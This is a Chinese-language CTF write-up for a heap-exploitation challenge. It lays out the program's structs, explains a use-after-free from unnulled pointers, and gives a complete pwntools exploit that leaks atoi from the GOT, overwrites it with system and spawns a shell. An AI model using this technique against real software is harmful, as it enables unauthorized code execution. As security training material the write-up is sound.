一個短信系統

• 定義了兩個結構體,分別如下,一個是用戶信息的結構體,一個是信息結構體

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00000000 00000000 message struc ; (sizeof=0x18, align=0x8, mappedto_6) 00000000 title dq ? ; offset 00000008 content dq ? 00000010 next dq ? 00000018 message ends 00000018 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 pwn struc ; (sizeof=0x128, align=0x8, mappedto_7) 00000000 malloc_name_ptr dq ? 00000008 age dq ? 00000010 description db 256 dup(?) 00000110 messagenode dq ? ; offset 00000118 friend_ptr dq ? 00000120 inuse dq ? 00000128 pwn ends 00000128

• 程序邏輯有一些復雜,但是有幾個關鍵的地方值得注意一下
• 人物信息結構體中有許多指針,而且排布相對穩定
• 程序只有兩處地方調用了free函數,并且未置空指針,這就導致了UAF的存在

• 還有strdup函數,第一次見,作用不是很清楚,去查了一下才知道它的作用和malloc后scanf是一樣的

• 程序中有大量的鏈表指針操作,顯得非常復雜,但是不用太過于糾結,在我嘗試了一下執行free后,人物信息結構體被free掉了,這就導致了有0x130的空間可以被利用

• 期間我嘗試了利用strdup來進行堆塊錯位的操作,但是并沒有成功,因為p64()函數自動補的0影響了strdup的過程,而唯一比較容易的可控的地方是nameptr,只要覆蓋了name指針內容,show后再進行updata,就可以leak程序基址修改程序的got表
• 這里我free了兩塊大堆塊,導致了我有0x260的空間可以使用,然后我就可以利用剛才的strdup,來進行指針的覆蓋

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from pwn import *r = process("./pwn") atoi_libc = 0x36E80 #offset sys_libc = 0x45390def register(namesize,name):r.sendlineafter("Your choice:","2")r.sendlineafter("Input your name size:",str(namesize))r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def login(name):r.sendlineafter("Your choice:","1")r.sendafter("Please input your user name:",name)def show():r.sendlineafter("Your choice:","1")def edit(name,age):r.sendlineafter("Your choice:","2")r.sendafter("Input your name:",name)r.sendlineafter("Input your age:","18")r.sendlineafter("Input your description:","1"*0x100)def AddDeleFriend(module,name):r.sendlineafter("Your choice:","3")r.sendafter("Input the friend's name:",name)r.sendlineafter("So..Do u want to add or delete this friend?(a/d)",module)def message(name,content,title):r.sendlineafter("Your choice:","4")r.sendafter("Which user do you want to send a msg to:",name)r.sendlineafter("Input your message title:",title)r.sendlineafter("Input your content:",content)def logout():r.sendlineafter("Your choice:","6")def exp():register(0x80,"111111")register(0x80,"222222")login("111111")AddDeleFriend("a","111111")AddDeleFriend("d","111111")logout()login("222222")AddDeleFriend("a","222222")AddDeleFriend("d","222222")payload = '\x30'*16*15payload += p64(0x602060)message("222222",payload,"title")show()r.recvuntil("Username:")atoi = u64(r.recv(6) +'\x00'*2)print "atoi :%x"%atoisystem=atoi-atoi_libc + sys_libcedit(p64(system),18)r.sendline("/bin/sh")r.interactive()if __name__ == "__main__":exp()

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